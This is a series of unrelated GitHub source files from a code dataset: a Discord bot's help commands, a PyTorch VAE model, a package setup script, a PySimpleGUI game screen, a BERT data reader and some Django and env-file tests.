em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def addrole(ctx):\r\n em = discord.Embed(title=\"addrole\", description=\"> To add any role to server memeber\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">addrole (role_name) (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def question(ctx):\r\n em = discord.Embed(title=\"question\", description=\"> Korone will ask you questions.\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">question\")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n\r\n@help.command()\r\nasync def kiss(ctx):\r\n em = discord.Embed(title=\"remove\", description=\"> To kiss a member from the server\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">kiss (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def password(ctx):\r\n em = discord.Embed(title=\"password\", description=\"> To to get random generated password\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">password \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def kick(ctx):\r\n em = discord.Embed(title=\"remove\", description=\"> To kick someone from the server\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">kick (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def ban(ctx):\r\n em = discord.Embed(title=\"ban\", description=\"> To ban any member in the server\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">ban (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em) \r\n\r\n\r\n@help.command()\r\nasync def hug(ctx):\r\n em = discord.Embed(title=\"Hug\", description=\"> To Hug any member in the server\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">hug (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command()\r\nasync def add(ctx):\r\n em = discord.Embed(title=\"Add\", description=\"> To check the sum of two numbers\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">add (1st Number) (2nd Number) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em) \r\n\r\n\r\n@help.command()\r\nasync def avatar(ctx):\r\n em = discord.Embed(title=\"Avatar\", description=\"> To check avatar of any person in the server\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\">avatar (Mention_member) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n\r\n\r\n@help.command(\"8balls\")\r\nasync def eight_balls(ctx):\r\n em = discord.Embed(title=\"8balls\", description=\"> To ask random questions to bot\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\"8balls (Ask Questions) \")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em) \r\n\r\n\r\n@help.command()\r\nasync def autorole(ctx):\r\n em = discord.Embed(title=\"autorole\", description=\"> It is to assign friends role automatically to new person\", color=ctx.author.color)\r\n em.add_field(name=\"**Syntax**\", value=\"Works automatically\")\r\n em.set_image(url='https://media.discordapp.net/attachments/1010954815192440935/1125824654033035304/Tumblr_l_108190584885447.gif?width=820&height=10')\r\n await ctx.channel.send(embed = em)\r\n#___________________________________________________________________________________________________________________________ \r\n\r\n\r\n#_______________________________________________________________________________________________________________________________\r\n \r\nTOKEN = \"Toke of your bot \"\r\n\r\nRaiden.run(TOKEN, log_handler=handler, log_level=logging.DEBUG)\r\n ","repo_name":"Raiden1233/Discord_bot","sub_path":"discord_bot.py","file_name":"discord_bot.py","file_ext":"py","file_size_in_byte":49166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16177305227","text":"# -*- coding: utf-8 -*-\n# Code adapted from:\n# Shubham Patel\n# https://github.com/bayeslabs/genmol\n# https://blog.bayeslabs.co/2019/06/04/All-you-need-to-know-about-Vae.html\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nencoder_bidir = True\nvae_encoder_hidden = 256\nvae_encoder_layers = 1\nvae_encoder_dropout = 0.5\nvae_decoder_layers = 3\nvae_decoder_dropout = 0\nd_z = 10\nvae_decoder_hidden = 512\ndataset = None\n\n\nclass VAE(nn.Module):\n def __init__(self, data, regress_choice = 0):\n super().__init__()\n global dataset \n dataset = data\n self.vocabulary = dataset.vocabulary\n self.vector = dataset.vector\n # regression style choice: 0 = BCE (uses score threshold), 1 = RMSE (does not use score threshold), 2 = MSE (does not use score threshold)\n self.regress_choice = regress_choice\n\n # obtain the number (amount) of vocab and dimension of embeddings (e.g. 87 and 87)\n n_vocab, d_emb = len(self.vocabulary), self.vector.size(1)\n # creating an embedding layer, passing in size of vocab, size of embeddings, and the index with witch to pad.\n # returns an embedding layer with a n_vocab x d_emb matrix with pre-populated weights to train.\n self.x_emb = nn.Embedding(n_vocab, d_emb, dataset.char_index['<pad>'])\n # overwrite the pre-populated weights with the 1-hot vector\n self.x_emb.weight.data.copy_(self.vector)\n\n # Encoder\n self.encoder_model = nn.GRU(d_emb, vae_encoder_hidden, vae_encoder_layers, batch_first = True, dropout = vae_encoder_dropout if vae_encoder_layers > 1 else 0, bidirectional = encoder_bidir)\n encoder_last_layer_size = vae_encoder_hidden * (2 if encoder_bidir else 1)\n self.encoder_mu = nn.Linear(encoder_last_layer_size, d_z)\n self.encoder_logvar = nn.Linear(encoder_last_layer_size, d_z)\n\n # Decoder\n self.decoder_model = nn.GRU(d_emb + d_z, vae_decoder_hidden, num_layers = vae_decoder_layers, batch_first = True, dropout = vae_decoder_dropout if vae_decoder_layers > 1 else 0)\n self.decoder_latent = nn.Linear(d_z, vae_decoder_hidden)\n self.decoder_fullyc = nn.Linear(vae_decoder_hidden, n_vocab)\n\n # Score predictor and regularizer\n # Making layers in Neural Net (NN). fc = fully connected, 1 is the first layer\n # NOTE: there are 32 latent vectors (z) per forward pass and each z has d_z 'features', NN needs d_z inputs\n self.fc1 = nn.Linear(d_z, 64) \n self.fc2 = nn.Linear(64, 32) \n self.fc3 = nn.Linear(32, 1)\n\n # Grouping the model's parameters\n self.encoder = nn.ModuleList([self.encoder_model, self.encoder_mu, self.encoder_logvar])\n self.decoder = nn.ModuleList([self.decoder_model, self.decoder_latent, self.decoder_fullyc])\n self.vae = nn.ModuleList([self.x_emb, self.encoder, self.decoder])\n self.ann = nn.ModuleList([self.fc1, self.fc2, self.fc3])\n\n\n '''---------------------------------------------- HELPER FUNCTIONS -------------------------------------------------------------''' \n \n @property\n def device(self):\n return next(self.parameters()).device\n \n\n def forward(self, x, scores):\n z, kl_loss = self.forward_encoder(x)\n scores = torch.tensor(scores, device = dataset.device).unsqueeze(1)\n # calculate the ANN output and compare it against the correct score\n prediction_loss = self.forward_score(z, scores)\n # pass data into decoder to get reconstruction loss\n recon_loss = self.forward_decoder(x, z)\n return kl_loss, prediction_loss, recon_loss\n \n\n def forward_encoder(self, x):\n mu, logvar, z = self.forward_encoder_mu_logvar_z(x)\n # calculate the dissimilarity between two distributions (KL divergence)\n kl_loss = 0.5 * (logvar.exp() + mu ** 2 - 1 - logvar).sum(1).mean()\n return z, kl_loss\n\n\n def forward_encoder_mu_logvar_z(self, x):\n # overwrite x (tuple of tensors of size batch) with a list of tensors that represent the embedding weights\n x = [self.x_emb(i_x) for i_x in x]\n # turn that list of tensor weights into a \"packed sequence\" for the RNN (reduces computation internally)\n x = nn.utils.rnn.pack_sequence(x)\n # pass the list of packed tensor weights into the GRU and obtain the final hidden state (not the putput). \n # Note, hidden state is next prediction, output (concatenation of every hidden state time step) is often used in label classification prediction.\n _, h = self.encoder_model(x, None)\n # overwrite h with just the last 1D index to remove bidirection unless bidirection is allowed\n h = h[-(1 + int(self.encoder_model.bidirectional)):]\n # if bidirection is allowed, hidden layer will have 2 dimensions (forward and backward), split into 2 separate tensors, \n # concatenate them about the last dimension, then squeeze to remove first 1 dimension. If not, nothing happens here\n h = torch.cat(h.split(1), dim=-1).squeeze(0)\n # get the mu and log variance by passing h through 2 different linear modules (with different weights)\n mu, logvar = self.encoder_mu(h), self.encoder_logvar(h)\n # eps (epsilon) will hold a random tensor from a normal distribution with 0 mean and 1 variance that is the same size as mu\n eps = torch.randn_like(mu)\n # divide vals in logvar by 2, raise e by resulting values, multiply by eps, add to mu (reparameterization trick)\n z = mu + (logvar / 2).exp() * eps\n return mu, logvar, z\n \n\n def forward_score(self, z, scores):\n # pass hidden layer into fully connected layers\n fc_output = self.fc1(z)\n fc_output = self.fc2(fc_output)\n regression = self.fc3(fc_output)\n # squeeze values between 0 and 1, BCE does not like negative values\n sig = torch.sigmoid(regression)\n # perform loss calculation (depending on regression type selected)\n # by default, theses calculate mean of batch size\n if self.regress_choice == 0:\n predict_loss = F.binary_cross_entropy(sig, scores)\n elif self.regress_choice == 1:\n predict_loss = torch.sqrt(F.mse_loss(sig, scores))\n else:\n predict_loss = F.mse_loss(sig, scores)\n\n return predict_loss\n\n \n def forward_decoder(self, x, z):\n x, y = self.forward_decoder_output(x, z)\n # by default, this calculates mean of batch size\n recon_loss = F.cross_entropy(y[:, :-1].contiguous().view(-1, y.size(-1)), x[:, 1:].contiguous().view(-1), ignore_index= dataset.char_index['<pad>'])\n return recon_loss\n\n\n def forward_decoder_output(self, x, z):\n lengths = [len(i_x) for i_x in x]\n x = nn.utils.rnn.pad_sequence(x, batch_first=True, padding_value= dataset.char_index['<pad>'])\n x_emb = self.x_emb(x)\n z_0 = z.unsqueeze(1).repeat(1, x_emb.size(1), 1)\n x_input = torch.cat([x_emb, z_0], dim=-1)\n x_input = nn.utils.rnn.pack_padded_sequence(x_input, lengths, batch_first=True)\n h_0 = self.decoder_latent(z)\n h_0 = h_0.unsqueeze(0).repeat(self.decoder_model.num_layers, 1, 1)\n output, _ = self.decoder_model(x_input, h_0)\n output, _ = nn.utils.rnn.pad_packed_sequence(output, batch_first=True)\n y = self.decoder_fullyc(output)\n return x, y\n\n\n # return a latent vector with a random normal distribution (0 mean, 1 variance) of the same dimensions as the specified batch size and encoder mu output \n def sample_z_prior(self, n_batch):\n return torch.randn(n_batch, self.encoder_mu.out_features, device= self.x_emb.weight.device)\n\n\n # Function to return samples from the decoder.\n def sample(self, z=None, n_batch=1, max_len=40, temperature=1.0):\n with torch.no_grad():\n if z is None:\n # z will have size of n_batch tensors x d_z long\n z = self.sample_z_prior(n_batch)\n \n z = z.to(self.device)\n # z_0 size = n_batch x 1 x d_z (z remains unchanged). So far, not based on encoder at all (except for what the decoder already learned from the encoder)!\n z_0 = z.unsqueeze(1)\n # Get hidden output from decoder latent layer (just a trained torch.Linear). vae_decoder_hidden is the funnel up dimension\n # input size = n_batch x d_z, output = n_batch x vae_decoder_hidden\n h = self.decoder_latent(z)\n # inject a dimension of 1 at the front, then repeat the tensor num_layers times (the 1s just mean copy 1 time), \n # size num_layers x n_batch x vae_decoder_hidden\n h = h.unsqueeze(0).repeat(self.decoder_model.num_layers, 1, 1)\n # create a tensor with a 1D list containing one element (the index for <bos>), repeat n_batch times to fill list with that many elements\n w = torch.tensor(dataset.char_index['<bos>'], device=self.device).repeat(n_batch)\n # similar to w, but need <pad> index and repeat to make a 2D list of n_batch x max_len\n x = torch.tensor([dataset.char_index['<pad>']], device=dataset.device).repeat(n_batch, max_len)\n # slice the x list and return the 0 column (this only works for numpy and pytorch arrays). Set 0 column to <bos> index\n x[:, 0] = dataset.char_index['<bos>']\n # create a new 1D tensor filled with max_length number n_batch times\n end_pads = torch.tensor([max_len], device=self.device).repeat(n_batch)\n # do similar, but filled with zeros\n eos_mask = torch.zeros(n_batch, dtype=torch.bool, device=self.device)\n \n # Build a sequence per batch item up to length max_len (inclusive, exclusive)\n for i in range(1, max_len):\n # get embedding row for w (index tensor), with a 1 dim added in the 1 column of tensor (batch first). Start with BOS\n x_emb = self.x_emb(w).unsqueeze(1)\n # concatentate the x_embeddings with z_0 in the last dimension of the tensor, size = n_batch x 1 x (d_emb + d_z)\n x_input = torch.cat([x_emb, z_0], dim=-1)\n # pass x_input and h to the GRU decoder, get output (last hidden layer) and all previous hidden layers (final hidden state for the input sequence)\n # o size = n_batch x 1 x vae_decoder_hidden, h size = 3 x n_batch x vae_decoder_hidden\n o, h = self.decoder_model(x_input, h)\n # get output from torch.Linear, passing in GRU output, doing away with the 1 in the 2nd column. This will convert GRU output back to same size as vocab\n y = self.decoder_fullyc(o.squeeze(1))\n # perform softmax (divided by temperature) on y's last layer batch item (i.e. tell me which vocab index has been predicted per tensor in batch)\n y = F.softmax(y / temperature, dim=-1)\n # return tensor where each row contains the predicted vocab index based on the multinomial probability distribution being passed in (output size = n_batch x 1)\n # Basically, convert the probabilities returned by softmax into the predicted index per element in batch\n w = torch.multinomial(y, 1)\n # then slice this list and return the 0 column to make it a 1D array of size n_batch rather than a list of n_batch x 1 (n_batch 1D lists of size 1)\n w = w[:,0]\n # The tilde (~) symbol in python performs a bitwise negation operation (returns the complement of the bit value, bit flip, basically invert sign and subtract 1)\n # The eos_mask is of type uint8 which is an unsigned 8 bit integer. Meaning, performing the ~ operation on its 0 (false) values yields 255 (true) \n # Because pytorch is like numpy, I can do 2D row, column referencing e.g. a[x, y]. Using the negation of eos_mask in the row index returns values where the negation\n # equates to true (255) and ignores the false (0) values\n # Summary, do a transpose on w and insert these elements along the column of the batch at element i where the w values equate to true\n x[~eos_mask, i] = w[~eos_mask]\n # convert the indices in eos_mask to 1 (the rest are 0s) where w == the index value for eos. In other words, note where 'eos' was predicted\n i_eos_mask = ~eos_mask & (w == dataset.char_index['<eos>'])\n # note the positions (i) of all the eos's over time in the end_pad tensor\n end_pads[i_eos_mask] = i + 1\n # update eos_mask to change the 0s to 255s (I think) if there is overlap between eos_mask and i_eos_mask\n eos_mask = eos_mask | i_eos_mask\n # now copy all elements from x into new_x\n new_x = []\n for i in range(x.size(0)):\n new_x.append(x[i, :end_pads[i]])\n \n return [self.tensor2string(i_x) for i_x in new_x]\n\n\n \n # convert the tensor back to a string\n def tensor2string(self, tensor):\n ids = tensor.tolist()\n string = dataset.id_to_string(ids, rem_bos=True, rem_eos=True)\n return string","repo_name":"candress/DAPTEV_Model","sub_path":"model/vae_model.py","file_name":"vae_model.py","file_ext":"py","file_size_in_byte":13270,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"70564396213","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read().replace(\"```py\", \"```\")\n\nsetuptools.setup(\n name=\"dataenforce\",\n version=\"0.1.2\",\n author=\"Cedric Canovas\",\n author_email=\"dev@canovas.me\",\n description=\"Enforce column names & data types of pandas DataFrames\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/CedricFR/dataenforce\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"Operating System :: OS Independent\",\n \"License :: OSI Approved :: Apache Software License\"\n ],\n)\n","repo_name":"CedricFR/dataenforce","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"21"} +{"seq_id":"9928688260","text":"import PySimpleGUI as interface_heroi\n\n\nclass TelaHeroi:\n def __init__(self):\n self.__window = None\n\n def mensagem(self, texto):\n print(texto)\n input()\n\n def mostrar_mensagem(self, msg):\n interface_heroi.popup(msg)\n\n def close(self):\n self.__window.Close()\n\n def depois_matar_monstro(self):\n interface_heroi.ChangeLookAndFeel('DarkBlue9')\n layout = [\n [interface_heroi.Text('Parabéns! Você matou o monstro!', font=(\"Helvica\", 15))],\n [interface_heroi.Text('Um novo item apareceu em sua mochila, equipe-o para o próximo combate!')],\n [interface_heroi.Text('Você também ganhou um título do último monstro que você matou.')],\n [interface_heroi.Text('ATENÇÃO: Lembre-se de descansar de sua última batalha!')],\n [interface_heroi.Button('Ok')],\n ]\n\n self.__window = interface_heroi.Window('Parabéns').Layout(layout)\n\n def abrir_depois_matar_monstro(self):\n self.depois_matar_monstro()\n botao = self.__window.Read()\n self.close()\n return ''\n\n def depois_morrer(self):\n interface_heroi.ChangeLookAndFeel('DarkBlue9')\n layout = [\n [interface_heroi.Text('Seu herói morreu', font=(\"Helvica\", 15))],\n [interface_heroi.Text('Caso queira jogar novamente, crie outro herói!')],\n [interface_heroi.Text('Sua aventura foi dezastrosa :(')],\n [interface_heroi.Button('Ok')]\n ]\n\n self.__window = interface_heroi.Window('GAME OVER').Layout(layout)\n\n def abrir_depois_morrer(self):\n self.depois_morrer()\n botao = self.__window.Read()\n self.close()\n return ''\n\n def pegar_nome_heroi(self):\n interface_heroi.ChangeLookAndFeel('DarkBlue9')\n layout = [\n [interface_heroi.Text('Nome do Herói'), interface_heroi.InputText('')],\n [interface_heroi.Button('Confirmar')]\n ]\n self.__window = interface_heroi.Window('Criação de Herói').Layout(layout)\n\n def abrir_pegar_nome_heroi(self):\n while True:\n self.pegar_nome_heroi()\n botao, nome = self.__window.Read()\n\n if nome[0] is None or nome[0] == '':\n self.close()\n self.mostrar_mensagem('Nome Inválido, Coloque um nome válido')\n else:\n self.close()\n return nome[0]\n\n def opcoes_itens(self):\n interface_heroi.ChangeLookAndFeel('DarkBlue9')\n layout = [\n [interface_heroi.Text('O que deseja fazer com o item?', font=(\"Helvica\", 15))],\n [interface_heroi.Radio('Equipar', \"RD1\", key='1')],\n [interface_heroi.Radio('Deletar', \"RD1\", key='2')],\n [interface_heroi.Radio('Desequipar', \"RD1\", key='3')],\n [interface_heroi.Radio('Retornar', \"RD1\", key='0')],\n [interface_heroi.Button('Confirmar'), interface_heroi.Cancel('Cancelar')]\n ]\n self.__window = interface_heroi.Window('Mochila').Layout(layout)\n\n def abrir_opcoes_itens(self):\n self.opcoes_itens()\n button, values = self.__window.Read()\n opcao = 0\n if values['1']:\n opcao = 1\n if values['2']:\n opcao = 2\n if values['3']:\n opcao = 3\n if values['0'] or button in (None, 'Cancelar'):\n opcao = 0\n\n self.close()\n\n return opcao\n\n def janela_itens(self, tupla_itens):\n interface_heroi.ChangeLookAndFeel('DarkBlue9')\n layout_mochila = [\n [interface_heroi.Text(\"Mochila\", font=(\"Helvica\", 15))],\n [interface_heroi.InputCombo(tupla_itens, size=(20,3), key='cb_opcoes')],\n [interface_heroi.Button('Escolher'), interface_heroi.Cancel('Retornar')]\n ]\n self.__window = interface_heroi.Window('Mochila').Layout(layout_mochila)\n\n def escolhe_item(self, tupla):\n self.janela_itens(tupla)\n button, values = self.__window.Read()\n indice = 0\n\n if values['cb_opcoes'] is not None:\n indice = values['cb_opcoes']\n\n if button in (None, 'Retornar'):\n indice = 0\n\n self.close()\n\n return indice\n\n\n def status_heroi(self, heroi):\n interface_heroi.ChangeLookAndFeel('DarkBlue9')\n\n layout = [\n [interface_heroi.Text(heroi.nome, font=(\"Helvica\", 20))],\n [interface_heroi.Text('Vida: {}'.format(heroi.hp_total))],\n [interface_heroi.Text('Ataque: {}'.format(heroi.ataque))],\n [interface_heroi.Text('Título atual: ' + heroi.titulo)],\n [interface_heroi.Text('Títulos disponíveis: {}'.format(heroi.lista_titulos))],\n [interface_heroi.Button('Ok')],\n ]\n\n self.__window = interface_heroi.Window('Status do Herói').Layout(layout)\n\n def abrir_status_heroi(self, heroi):\n self.status_heroi(heroi)\n botao = self.__window.Read()\n\n if botao is not None:\n self.close()\n\n def janela_titulos(self, tupla_titulos):\n interface_heroi.ChangeLookAndFeel('DarkBlue9')\n layout_titulos = [\n [interface_heroi.Text(\"Equipe um título para o herói\")],\n [interface_heroi.InputCombo((tupla_titulos), size=(20,3), key='cb_opcoes')],\n [interface_heroi.Button('Confirmar'), interface_heroi.Cancel('Cancelar')]\n ]\n self.__window = interface_heroi.Window('Títulos').Layout(layout_titulos)\n\n def escolhe_titulo(self, tupla):\n self.janela_titulos(tupla)\n button, values = self.__window.Read()\n titulo = None\n\n if values['cb_opcoes'] is not None:\n titulo = values['cb_opcoes']\n\n if button in (None, 'Cancelar'):\n titulo = None\n\n self.close()\n\n return titulo\n\n def excecoes_escolha(self, mensagem: \"\", numeros_validos: [] = None):\n while True:\n resposta_usuario = input(mensagem)\n try:\n numero = int(resposta_usuario)\n if numero not in numeros_validos:\n raise ValueError\n return numero\n except ValueError:\n print(\"Por favor, digite uma das opções:\")\n","repo_name":"Guilherme-K-Santos/Uma-Aventura-Dezastrosa","sub_path":"telas/tela_heroi.py","file_name":"tela_heroi.py","file_ext":"py","file_size_in_byte":6245,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4364579193","text":"# -*- coding: UTF-8 -*-\n# !/usr/bin/python3\n\"\"\"\nBert CLDC Data Reader\n\"\"\"\n\n# ************************************************************\n# Imported Libraries\n# ************************************************************\nimport os\n\nfrom tqdm import tqdm\nfrom collections import Counter\nimport random\n\nimport numpy as np\nimport torch\n\nimport pdb\n\n\nfrom data_model.classification_base_data_reader import CLSBaseDataReader\n\nclass BERTCLDCDataReader(CLSBaseDataReader):\n def __init__(self, params, tokenizer):\n # cldc data path\n train_lang_idx = 0 if params.cldc_lang[0] == 'en' else 1\n self.train_cldc_path = params.cldc_path[train_lang_idx]\n assert (os.path.exists(self.train_cldc_path))\n texts = torch.load(self.train_cldc_path)\n #train_texts, dev_texts, _ = texts['train'], texts['dev'], texts['test']\n train_texts, dev_texts, _ = texts['train.1000'], texts['dev'], texts['test']\n\n test_lang_idx = 0 if params.cldc_lang[1] == 'en' else 1\n self.test_cldc_path = params.cldc_path[test_lang_idx]\n assert (os.path.exists(self.test_cldc_path))\n texts = torch.load(self.test_cldc_path)\n #_, _, test_texts = texts['train'], texts['dev'], texts['test']\n tgt_train_texts = None\n if test_lang_idx == train_lang_idx:\n _, _, test_texts = texts['train.1000'], texts['dev'], texts['test']\n else:\n tgt_train_texts, _, test_texts = texts['train.1000'], texts['dev'], texts['test']\n\n for l in params.cldc_label2idx:\n train_texts[l] = [d.strip().split('\\n') for d in train_texts[l]]\n dev_texts[l] = [d.strip().split('\\n') for d in dev_texts[l]]\n test_texts[l] = [d.strip().split('\\n') for d in test_texts[l]]\n\n # cldc labels\n self.label2idx = params.cldc_label2idx\n self.idx2label = params.cldc_idx2label\n self.label_size = 4\n\n # read train\n # different scale for crosslingual training data\n scale = params.scale\n\n # get the max of sentence length, [CLS], [SEP]\n self.max_text_len = 198\n\n self.train_idxs, self.train_lens, self.max_train_len, \\\n self.rest_train_idxs, self.rest_train_lens, self.train_prop = self.get_data(params, train_texts,\n tokenizer,\n train=True,\n scale=scale)\n # for zero-shot\n if tgt_train_texts is not None:\n _, _, _, \\\n self.rest_train_idxs, self.rest_train_lens, _ = self.get_data(params, tgt_train_texts,\n tokenizer,\n train=True,\n scale=.0)\n\n # read dev data\n self.dev_idxs, self.dev_lens, self.max_dev_len, self.dev_prop = self.get_data(params, dev_texts,\n tokenizer)\n # read test data\n self.test_idxs, self.test_lens, self.max_test_len, self.test_prop = self.get_data(params, test_texts,\n tokenizer)\n\n for i in range(self.label_size):\n self.train_idxs[i] = self.pad_texts(self.train_idxs[i], self.max_text_len, tokenizer)\n self.dev_idxs[i] = self.pad_texts(self.dev_idxs[i], self.max_text_len, tokenizer)\n self.test_idxs[i] = self.pad_texts(self.test_idxs[i], self.max_text_len, tokenizer)\n\n self.train_size = sum([len(train_idx) for train_idx in self.train_idxs])\n self.dev_size = sum([len(dev_idx) for dev_idx in self.dev_idxs])\n self.test_size = sum([len(test_idx) for test_idx in self.test_idxs])\n\n # deal with rest of training data\n self.rest_train_size = 0\n if scale < 1:\n for i in range(self.label_size):\n # pad\n self.rest_train_idxs[i] = self.pad_texts(self.rest_train_idxs[i], self.max_text_len,\n tokenizer)\n self.rest_train_size = sum([len(rest_train_idx) for rest_train_idx in self.rest_train_idxs])\n # flat the rest of the training, mix labels\n self.flat_rest_train()\n\n\n\n def get_data(self, params, input_texts, tokenizer, train = False, scale = 1.0):\n input_idxs = []\n for key, label in self.idx2label.items():\n input_text = input_texts[label]\n input_idx = [self.encode_text(doc, tokenizer) for doc in input_text]\n # add the data according to label id\n input_idxs.append(input_idx)\n\n # prepare data\n if train:\n # train\n train_idxs, train_lens, train_max_len, \\\n rest_train_idxs, rest_train_lens = self.prepare_data(params, input_idxs, scale)\n train_prop = np.array([len(train_idx) for train_idx in train_idxs])\n train_prop = (train_prop / sum(train_prop)) if sum(train_prop) != 0 else [0] * len(\n train_prop)\n return (train_idxs, train_lens, train_max_len, rest_train_idxs, rest_train_lens, train_prop)\n else:\n dt_idxs, dt_lens, dt_max_len, _, _ = self.prepare_data(params, input_idxs, scale)\n dt_prop = np.array([len(dt_idx) for dt_idx in dt_idxs])\n dt_prop = dt_prop / sum(dt_prop)\n return dt_idxs, dt_lens, dt_max_len, dt_prop\n\n\n def encode_text(self, texts, tokenizer):\n text_idx = []\n for line in texts:\n line = self.preprocess(line)\n tokens = tokenizer.tokenize(line)\n line_idx = tokenizer.convert_tokens_to_ids(tokens)\n text_idx += line_idx\n return text_idx\n\n\n def pad_texts(self, text_idxs, max_text_len, tokenizer):\n padded_text_idxs = []\n for line_idx in text_idxs:\n padded_line_idx = line_idx[: max_text_len]\n padded_line_idx = padded_line_idx + [tokenizer.vocab['[PAD]']] * (max_text_len - len(padded_line_idx))\n padded_line_idx = [tokenizer.vocab['[CLS]']] + padded_line_idx + [tokenizer.vocab['[SEP]']]\n assert(len(padded_line_idx) == 200)\n padded_text_idxs.append(padded_line_idx)\n return torch.LongTensor(padded_text_idxs)\n\n","repo_name":"cambridgeltl/mling_sdgms","sub_path":"train_bert/bert_cldc_data_reader.py","file_name":"bert_cldc_data_reader.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"7441118832","text":"# -*- coding: utf-8 -*-\nfrom django.apps import apps\nfrom django.core.management import call_command\n\nfrom datatableview.columns import Column, COLUMN_CLASSES\nfrom .testcase import DatatableViewTestCase\n\nExampleModel = apps.get_model(\"test_app\", \"ExampleModel\")\n\n\nclass ColumnTests(DatatableViewTestCase):\n def test_custom_column_registers_itself(self):\n previous_length = len(COLUMN_CLASSES)\n\n class CustomColumn(Column):\n model_field_class = \"fake\"\n\n self.assertEqual(len(COLUMN_CLASSES), previous_length + 1)\n self.assertEqual(COLUMN_CLASSES[0][0], CustomColumn)\n self.assertEqual(\n COLUMN_CLASSES[0][1],\n [CustomColumn.model_field_class] + CustomColumn.handles_field_classes,\n )\n\n del COLUMN_CLASSES[:1]\n\n def test_value_is_pair(self):\n obj = ExampleModel.objects.create(name=\"test name 1\")\n\n column = Column()\n value = column.value(obj)\n self.assertEqual(type(value), tuple)\n\n # def test_process_value_checks_all_sources(self):\n def test_process_value_is_empty_for_fake_source(self):\n processed = []\n\n def processor(value, **kwargs):\n processed.append(value)\n\n obj = ExampleModel.objects.create(name=\"test name 1\")\n\n # Verify bad source names don't find values\n processed[:] = []\n column = Column(sources=[\"fake1\"], processor=processor)\n column.value(obj)\n self.assertEqual(processed, [])\n\n column = Column(sources=[\"fake1\", \"fake2\"], processor=processor)\n column.value(obj)\n self.assertEqual(processed, [])\n","repo_name":"pivotal-energy-solutions/django-datatable-view","sub_path":"datatableview/tests/test_columns.py","file_name":"test_columns.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":338,"dataset":"github-code","pt":"21"} +{"seq_id":"18266768105","text":"from __future__ import absolute_import, division, print_function, unicode_literals\n\nfrom unittest import TestCase\nfrom beast.env.ReadEnvFile import read_env_file\n\nfrom beast.util import Terminal\nTerminal.CAN_CHANGE_COLOR = False\n\nJSON = \"\"\"\n{\n \"FOO\": \"foo\",\n \"BAR\": \"bar bar bar\",\n \"CPPFLAGS\": \"-std=c++11 -frtti -fno-strict-aliasing -DWOMBAT\"\n}\"\"\"\n\nENV = \"\"\"\n# An env file.\n\nFOO=foo\nexport BAR=\"bar bar bar\"\nCPPFLAGS=-std=c++11 -frtti -fno-strict-aliasing -DWOMBAT\n\n# export BAZ=baz should be ignored.\n\n\"\"\"\n\nRESULT = {\n 'FOO': 'foo',\n 'BAR': 'bar bar bar',\n 'CPPFLAGS': '-std=c++11 -frtti -fno-strict-aliasing -DWOMBAT',\n 